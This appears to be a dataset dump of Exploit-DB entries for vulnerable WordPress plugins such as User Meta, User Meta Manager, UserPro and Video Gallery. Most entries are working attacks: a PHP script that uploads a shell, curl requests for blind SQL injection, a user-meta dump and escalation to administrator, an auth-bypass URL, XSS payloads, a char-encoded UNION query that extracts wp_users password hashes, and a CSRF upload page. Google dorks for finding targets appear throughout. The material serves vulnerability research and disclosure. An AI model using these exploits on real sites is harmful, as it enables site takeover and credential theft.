deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19052
Description: WordPress Plugin User Meta 1.1.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-11
Author: Adrien Thierry

Exploit:
###########################################################
#
# Exploit Title: Wordpress User Meta Version 1.1.1 Arbitrary File Upload
# Google Dork: inurl:wp-content/plugins/user-meta/framework/helper/
# Date: 11/06/2012
# Exploit Author: Adrien Thierry
# Vendor Homepage:  http://user-meta.com/
# Software Link: http://downloads.wordpress.org/plugin/user-meta.1.1.1.zip
# Version: 1.1.1
#
###########################################################

Vuln page : http://mysite.com/wp-content/plugins/user-meta/framework/helper/uploader.php

exploit :

<?php
$u="C:\Program Files (x86)\EasyPHP-5.3.9\www\info.php.jpg";
$c = curl_init("http://127.0.0.1/wp/wp-content/plugins/user-meta/framework/helper/uploader.php");
curl_setopt($c, CURLOPT_POST, true);
curl_setopt($c, CURLOPT_POSTFIELDS,
array('qqfile'=>"@$u"));
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$e = curl_exec($c);
curl_close($c);
echo $e; 
?>

Shell access : Shown in result of exploit
	ex : {"success":true,"fieldname":null,"filepath":"\/2012\/06\/[PII_REDACTED].jpg"}
		access : http://mysite.com/wp-content/uploads/2012/06/[PII_REDACTED].jpg
		
#####################################################################
Exploit-DB #39410
Description: WordPress Plugin User Meta Manager 3.4.6 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2016-02-04
Author: Panagiotis Vagenas

Exploit:
* Exploit Title: WordPress User Meta Manager Plugin [Blind SQLI]
* Discovery Date: 2015/12/28
* Public Disclosure Date: 2016/02/04
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: http://jasonlau.biz/home/
* Software Link: https://wordpress.org/plugins/user-meta-manager/
* Version: 3.4.6
* Tested on: WordPress 4.4.1
* Category: webapps

Description
================================================================================

AJAX actions `umm_edit_user_meta` and `umm_delete_user_meta` of the User Meta 
Manager for WordPress plugin up to v3.4.6 are vulnerable to blind SQL injection
attacks. A registered user can pass arbitrary MySQL commands to `umm_user` GET 
param.

PoC
================================================================================


curl -c ${USER_COOKIES} \
    "http://${VULN_SITE}/wp-admin/admin-ajax.php\?action=umm_switch_action\
    &umm_sub_action=[umm_delete_user_meta|umm_edit_user_meta]&umm_user=SLEEP(5)"


Timeline
================================================================================

2015/12/28 - Discovered
2015/12/29 - Vendor notified via support forums in WordPress.org
2015/12/29 - Vendor notified via contact form in his site
2016/01/29 - WordPress security team notified about the issue
2016/02/02 - Vendor released version 3.4.7
2016/02/02 - Verified that this exploit no longer applies in version 3.4.7

Solution
================================================================================
  
Update to version 3.4.7
Exploit-DB #39420
Description: WordPress Plugin User Meta Manager 3.4.6 - Information Disclosure
Type: webapps
Platform: php
Date: 2016-02-08
Author: Panagiotis Vagenas

Exploit:
* Exploit Title: WordPress User Meta Manager Plugin [Information Disclosure]
* Discovery Date: 2015-12-28
* Public Disclosure Date: 2016-02-01
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: http://jasonlau.biz/home/
* Software Link: https://wordpress.org/plugins/user-meta-manager/
* Version: 3.4.6
* Tested on: WordPress 4.4
* Category: webapps

## Description

User Meta Manager for WordPress plugin up to v3.4.6 suffers from a information disclosure vulnerability. Any registered user can perform an a series of AJAX 
requests, in order to get all contents of `usermeta` DB table. 

`usermeta` table holds additional information for all registered users. User Meta Manager plugin offers a `usermeta` table backup functionality. During the backup process the plugin takes no action in protecting the leakage of the table contents to unauthorized (non-admin) users.

## PoC

### Get as MySQL query

First a backup table must be created

 
curl -c ${USER_COOKIES} \
    "http://${VULN_SITE}/wp-admin/admin-ajax.php\
    ?action=umm_switch_action&umm_sub_action=umm_backup"


Then we get the table with another request

curl -c ${USER_COOKIES} \
    "http://${VULN_SITE}/wp-admin/admin-ajax.php\
    ?action=umm_switch_action&umm_sub_action=umm_backup&mode=sql"

### Get as CSV file

curl -c ${USER_COOKIES} \
    "http://${VULN_SITE}/wp-admin/admin-ajax.php\
    ?action=umm_switch_action&umm_sub_action=umm_get_csv"

## Solution

Upgrade to version 3.4.8
Exploit-DB #39411
Description: WordPress Plugin User Meta Manager 3.4.6 - Privilege Escalation
Type: webapps
Platform: php
Date: 2016-02-04
Author: Panagiotis Vagenas

Exploit:
* Exploit Title: WordPress User Meta Manager Plugin [Privilege Escalation]
* Discovery Date: 2015/12/28
* Public Disclosure Date: 2016/02/04
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: http://jasonlau.biz/home/
* Software Link: https://wordpress.org/plugins/user-meta-manager/
* Version: 3.4.6
* Tested on: WordPress 4.4.1
* Category: webapps

Description
================================================================================

User Meta Manager for WordPress plugin up to v3.4.6 suffers from a privilege 
escalation vulnerability. A registered user can modify the meta information of 
any registered user, including himself. This way he can modify `wp_capabilities`
meta to escalate his account to a full privileged administrative account.

PoC
================================================================================


curl -c ${USER_COOKIES} \
     -d "mode=edit&umm_meta_value[]=a:1:{s:13:\"administrator\";b:1;}\
     &umm_meta_key[]=wp_capabilities" \
    "http://${VULN_SITE}/wp-admin/admin-ajax.php\?action=umm_switch_action\
    &umm_sub_action=umm_update_user_meta&umm_user=${USER_ID}"


Timeline
================================================================================

2015/12/28 - Discovered
2015/12/29 - Vendor notified via support forums in WordPress.org
2015/12/29 - Vendor notified via contact form in his site
2016/01/29 - WordPress security team notified about the issue
2016/02/02 - Vendor released version 3.4.7
2016/02/02 - Verified that this exploit no longer applies in version 3.4.7

Solution
================================================================================
  
No official solution yet exists.
Exploit-DB #25721
Description: WordPress Plugin User Role Editor 3.12 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2013-05-26
Author: Henry Hoggard

Exploit:
# Exploit Title: WP User Role Editor CSRF
# Date: 19/5/13
# Exploit Author: Henry Hoggard
# Author Website: http://henryhoggard.co.uk
# Vendor Homepage:https://wordpress.org/support/plugin/user-role-editor
# Software Link:https://wordpress.org/support/plugin/user-role-editor
# Version: <=3.12
# Tested on: Debian
# CVE : none yet

Notified Dev: 16/05/13
Patch Released (3.14): 17/05/13

Description:
This allows you to sign up with admin privileges if you make the admin
visit your CSRF script.

http://server/wordpress/wp-admin/users.php?page=user-role-editor.php&action=default&user_role=administrator
Exploit-DB #27403
Description: WordPress Plugin Usernoise 3.7.8 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-08-07
Author: RogueCoder

Exploit:
Details
=============================
Application: Usernoise ( http://usernoise.karevn.com/ )
Version: 3.7.8 (probably earlier versions as well)
Type: Wordpress plugin
Developer: Nikolay Karev ( http://karevn.com/ - http://profiles.wordpress.org/karevn/)
Vulnerability: Unauthorized persistent cross-site scripting

Description
=================
Usernoise is a "just works" modal contact / feedback form. It became responsive starting from 3.5 release. You will not need to change even a line of code in your site.

Vulnerability
=================
The summary field is vulnerable to persistent cross site scripting, and the affected area is the Wordpress admin dashboard. The reason why this vulnerability exists is because the user input is not being properly handled when a feedback is submitted. It accepts any type of arbitrary code, including JavaScript, and when the content is displayed in the feedback section in the dashboard, all JavaScript code is executed causing a sever vulnerability with administrators as the target.

Proof of Concept
=================
<script>document.documentElement.innerHTML='RogueCoder was here';</script>
Well done! Website looks great<script>console.log('RogueCoder was here');</script>

Solution
=================
Upgrade to plugin version 3.7.9

Timeline
=================
2013-07-15 - Informed developer through plugin section on wordpress.org
2013-07-16 - Informed developer through email
2013-07-17 - Fix released
Exploit-DB #47304
Description: WordPress Plugin UserPro 4.9.32 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-08-26
Author: Damian Ebelties

Exploit:
# Exploit Title: UserPro <= 4.9.32 Reflected XSS
# Google Dork: intitle:"Index of" intitle:"UserPro" -uploads
# Date: 25 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681
# Version: <= 4.9.32
# Tested on: Ubuntu 18.04.1
# CVE: CVE-2019-14470

The WordPress plug-in 'UserPro' uses a Instagram library (Instagram PHP API V2 by cosenary) that
is vulnerable for Reflected Cross-Site Scripting (XSS).

There is more vulnerable code in 'UserPro' core, might release that later.

As of today (25 August 2019) this issue is unfixed.

Vulnerable code: (success.php on line 36)

    if (isset($_GET['error'])) {
        echo 'An error occurred: ' . $_GET['error_description'];
    }

    > https://github.com/cosenary/Instagram-PHP-API/blob/master/example/success.php#L36

Proof-of-Concept:

    https://domain.tld/wp-content/plugins/userpro/lib/instagram/vendor/cosenary/instagram/example/success.php?error=&error_description=<PAYLOAD>
Exploit-DB #43117
Description: WordPress Plugin Userpro < 4.9.17.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-11-04
Author: Colette Chamberland

Exploit:
# Exploit Title: Userpro – WordPress Plugin – Authentication Bypass
# Google Dork: inurl:/plugins/userpro
# Date: 11.04.2017
# Exploit Author: Colette Chamberland (Wordfence), Iain Hadgraft (Duke University)
# Vendor Homepage: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681?s_rank=9
# Software Link: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681?s_rank=9
# Version: <= 4.6.17
# Tested on: Wordpress 4.8.3
# CVE : requested, not assigned yet.

Description
================================================================================
 The userpro plugin has the ability to bypass login authentication for the user
 'admin'. If the site does not use the standard username 'admin' it is not affected.
   
PoC
================================================================================
1 - Google Dork inurl:/plugins/userpro

2 - Browse to a site that has the userpro plugin installed.

3 - Append ?up_auto_log=true to the target: http://www.targetsite.com/?up_auto_log=true

4 - If the site has a default 'admin' user you will now see the wp menu at the top of the site. You are now logged in
will full administrator access.
================================================================================

10/25/2017 – Wordfence notified of issue by Iain Hadgraft.
10/26/2017 – Vendor resolved the issue in the plugin.
11/04/2017 - Disclosure.
Exploit-DB #46083
Description: WordPress Plugin UserPro < 4.9.21 - User Registration Privilege Escalation
Type: webapps
Platform: php
Date: 2019-01-07
Author: Noman Riffat

Exploit:
# Exploit Title: Wordpress Plugin UserPro < 4.9.21 User Registration With Administrator Role
# Google Dork: inurl:/wp-content/plugins/userpro/
# Date: 3rd January, 2019
# Exploit Author: Noman Riffat
# Vendor Homepage: https://userproplugin.com/
# Software Link: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681
# Version: < 4.9.21
# Tested on: Wordpress 4.9.9 with linux but should work on all WP versions and OS as well

UserPro fixed a user registration with administrator privileges vulnerability in version 4.9.21
But there wasn't any POC available so this exploit demonstrates this
vulnerability.
https://demo.userproplugin.com/wp-content/plugins/userpro/changelog.txt
From the changelog: "Security Fix : Registration role validation fix"

The latest version up to now is 4.9.29
The vulnerability allows anyone to register with Administrator role which
can easily be turned into RCE

Steps to reproduce:

1. Go to the registration form, input random fake values, trigger Burp
Suite and click submit.

2. The POST data will look similar to following

redirect_uri-701=&_myuserpro_nonce=xxxxxx&_wp_http_referer=%2F&unique_id=701&user_login-701=USERNAME&user_email-701=
USERNAME@EMAIL.COM
&user_pass-701=PASSWORD&user_pass_confirm-701=PASSWORD&display_name-701=&profilepicture-701=&country-701=&facebook-701=&twitter-701=&google_plus-701=&user_url-701=&terms=on&action=userpro_process_form&template=register&group=default&shortcode=xxxxxxxxxxxxxxxxxxxxxxxxxxx

Here "-701" is a random postfix number and gets stripped at the server.
Other than that, the interesting values are

user_login
user_email
user_pass
user_pass_confirm

3. Adding following extra parameter in POST data will register the user
with Administrator privileges

role-701=administrator

So the modified POST data will look similar to following

role-701=administrator&redirect_uri-701=&_myuserpro_nonce=xxxxxx&....snip....snip....

4. Forward the POST data in Burp Suite and you will get redirect to
/profile/ page with Administrator menu on top. Access /wp-admin/ to get to
the dashboard

5. Upload shell with default methods

@nomanriffat
Exploit-DB #38856
Description: WordPress Plugin Users Ultra 1.5.50 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2015-12-03
Author: Panagiotis Vagenas

Exploit:
* Exploit Title: WordPress Users Ultra Plugin [Persistence XSS]
* Discovery Date: 2015/10/20
* Public Disclosure Date: 2015/12/01
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: http://usersultra.com
* Software Link: https://wordpress.org/plugins/users-ultra/
* Version: 1.5.50
* Tested on: WordPress 4.3.1
* Category: webapps


Description
========================================================================
========

Once a user is registered he can add new subscription packages or
modify existing ones. No data sanitization is
taking place before saving package details in DB. This allows a
malicious user to include JS code in package name
and/or package description.

PoC
========================================================================
========

- - Send a post request to
`http://vuln.site.tld/wp-admin/admin-ajax.php` with data:
`action=package_add_new&p_name=a<script>alert(1)</script>`
- - Visit
`http://vuln.site.tld/wp-admin/admin.php?page=userultra&tab=membership`
as
admin or go to the page that
contains package information at front end.

Timeline
========================================================================
========

2015/10/29 - Vendor notified via email
2015/11/11 - Vendor notified via contact form in his website
2015/11/13 - Vendor notified via support forums at wordpress.org
2015/11/14 - Vendor responded and received report through email

Solution
========================================================================
========

No official solution yet exists.
Exploit-DB #37744
Description: WordPress Plugin Video Gallery 2.7 - SQL Injection
Type: webapps
Platform: php
Date: 2015-08-09
Author: Kacper Szurek

Exploit:
# Exploit Title: WordPress Video Gallery 2.7 SQL Injection
# Date: 20-01-2015
# Software Link: https://wordpress.org/plugins/contus-video-gallery/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps

1. Description
  
$_GET['vid'] is not escaped.

google_adsense() is accessible for everyone.

File: contus-video-gallery\hdflvvideoshare.php

add_action('wp_ajax_googleadsense' ,'google_adsense');
add_action('wp_ajax_nonpriv_googleadsense' ,'google_adsense');
function google_adsense(){
	global $wpdb;
	$vid = $_GET['vid'];
	$google_adsense_id =  $wpdb->get_var('SELECT google_adsense_value FROM '.$wpdb->prefix.'hdflvvideoshare WHERE vid ='.$vid);
	$query = $wpdb->get_var('SELECT googleadsense_details FROM '.$wpdb->prefix.'hdflvvideoshare_vgoogleadsense WHERE id='.$google_adsense_id);
	$google_adsense = unserialize($query);
	echo $google_adsense['googleadsense_code'];
	die();
}

http://security.szurek.pl/wordpress-video-gallery-27-sql-injection.html

2. Proof of Concept

http://wordpress-url/wp-admin/admin-ajax.php?action=googleadsense&vid=0 UNION SELECT CAST(CHAR(48, 32, 85, 78, 73, 79, 78, 32, 83, 69, 76, 69, 67, 84, 32, 67, 79, 78, 67, 65, 84, 40, 67, 65, 83, 84, 40, 67, 72, 65, 82, 40, 57, 55, 44, 32, 53, 56, 44, 32, 52, 57, 44, 32, 53, 56, 44, 32, 49, 50, 51, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 57, 44, 32, 53, 54, 44, 32, 53, 56, 44, 32, 51, 52, 44, 32, 49, 48, 51, 44, 32, 49, 49, 49, 44, 32, 49, 49, 49, 44, 32, 49, 48, 51, 44, 32, 49, 48, 56, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 53, 44, 32, 49, 48, 49, 44, 32, 49, 49, 48, 44, 32, 49, 49, 53, 44, 32, 49, 48, 49, 44, 32, 57, 53, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 48, 48, 44, 32, 49, 48, 49, 44, 32, 51, 52, 44, 32, 53, 57, 44, 32, 49, 49, 53, 44, 32, 53, 56, 41, 32, 97, 115, 32, 67, 72, 65, 82, 41, 44, 32, 76, 69, 78, 71, 84, 72, 40, 117, 115, 101, 114, 95, 112, 97, 115, 115, 41, 44, 32, 67, 65, 83, 84, 40, 67, 72, 65, 82, 40, 53, 56, 44, 32, 51, 52, 41, 32, 97, 115, 32, 67, 72, 65, 82, 41, 44, 32, 117, 115, 101, 114, 95, 112, 97, 115, 115, 44, 32, 67, 65, 83, 84, 40, 67, 72, 65, 82, 40, 51, 52, 44, 32, 53, 57, 44, 32, 49, 50, 53, 41, 32, 97, 115, 32, 67, 72, 65, 82, 41, 41, 32, 70, 82, 79, 77, 32, 119, 112, 95, 117, 115, 101, 114, 115, 32, 87, 72, 69, 82, 69, 32, 73, 68, 32, 61, 32, 49) as CHAR)
  
3. Solution:
  
Update to version 2.8
Exploit-DB #36058
Description: WordPress Plugin Video Gallery 2.7.0 - SQL Injection
Type: webapps
Platform: php
Date: 2015-02-12
Author: Claudio Viviani

Exploit:
######################

# Exploit Title : Wordpress Video Gallery 2.7 SQL Injection Vulnerability

# Exploit Author : Claudio Viviani

# Vendor Homepage : http://www.apptha.com/category/extension/Wordpress/Video-Gallery

# Software Link : https://downloads.wordpress.org/plugin/contus-video-gallery.2.7.zip

# Dork Google: inurl:/wp-admin/admin-ajax.php?action=rss
            

# Date : 2015-02-11

# Tested on : Windows 7 / Mozilla Firefox
              Linux / Mozilla Firefox         

######################

# Vulnerability Disclosure Timeline:

2015-02-08:  Discovered vulnerability
2015-02-09:  Vendor Notification
2015-02-10:  Vendor Response/Feedback 
2015-02-10:  Vendor Send Fix/Patch 
2015-02-11:  Public Disclosure 

# Description

Wordpress Video Gallery 2.7 suffers from SQL injection


######################

# PoC

http://target/wp-admin/admin-ajax.php?action=rss&type=video&vid=[SQLi]


#####################

# Fix/patch sent by apptha's developer

File: videogalleryrss.php

Change line n.47 

from:

		$vid             = filter_input(INPUT_GET,'vid');
to:

		$vid             = intval(filter_input(INPUT_GET,'vid'));

#####################

Discovered By : Claudio Viviani
        	http://www.homelab.it
        	info@homelab.it
        	homelabit@protonmail.ch

        	https://www.facebook.com/homelabit
        	https://twitter.com/homelabit
        	https://plus.google.com/+HomelabIt1/
		https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

#####################
Exploit-DB #36610
Description: WordPress Plugin Video Gallery 2.8 - Multiple Cross-Site Request Forgery Vulnerabilities
Type: webapps
Platform: php
Date: 2015-04-02
Author: Divya

Exploit:
# Exploit Title: Wordpress Video Gallery Plugin Multiple CSRF File Upload
# Google Dork: inurl:/wp-content/plugins/contus-video-gallery
# Date: 31 March 2015
# Exploit Author: Divya
# Vendor Homepage: https://wordpress.org/plugins/contus-video-gallery/
# Software Link: https://downloads.wordpress.org/plugin/contus-video-gallery.2.8.zip
# Version: 2.8
# Tested on: Windows, Linux
# CVE : None

CSRF File Upload Exploit Code:

<html>
<head>
<title>
WP Plugin CSRF File Upload
</title>
<body>
	<script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://192.168.1.2/wp-admin/admin-ajax.php?action=uploadvideo", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=--------------------------[PII_REDACTED]13649");
        xhr.withCredentials = true;
        var body = "----------------------------[PII_REDACTED]13649\r\n" + 
          "Content-Disposition: form-data; name=\"myfile\"; filename=\"test.mp4\"\r\n" + 
          "Content-Type: video/mp4\r\n" + 
          "\r\n" + 
          "hello world how are you\r\n" + 
          "----------------------------[PII_REDACTED]13649\r\n" + 
          "Content-Disposition: form-data; name=\"mode\"\r\n" + 
          "\r\n" + 
          "video\r\n" + 
          "----------------------------[PII_REDACTED]13649--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit" onclick="submitRequest();" />
    </form>

	
  </body>
</html>


Other CSRF vulnerable areas of application:
URL: http://192.168.1.2/wp-admin/admin-ajax.php?action=uploadvideo
Data: myfile=[upload_file_details]&mode=video

URL: http://192.168.1.2/wp-admin/admin-ajax.php?action=uploadvideo
Data: myfile=[upload_file_details]&mode=image

URL: http://192.168.1.2/wp-admin/admin-ajax.php?action=uploadvideo
Data: myfile=[upload_file_details]&mode=srt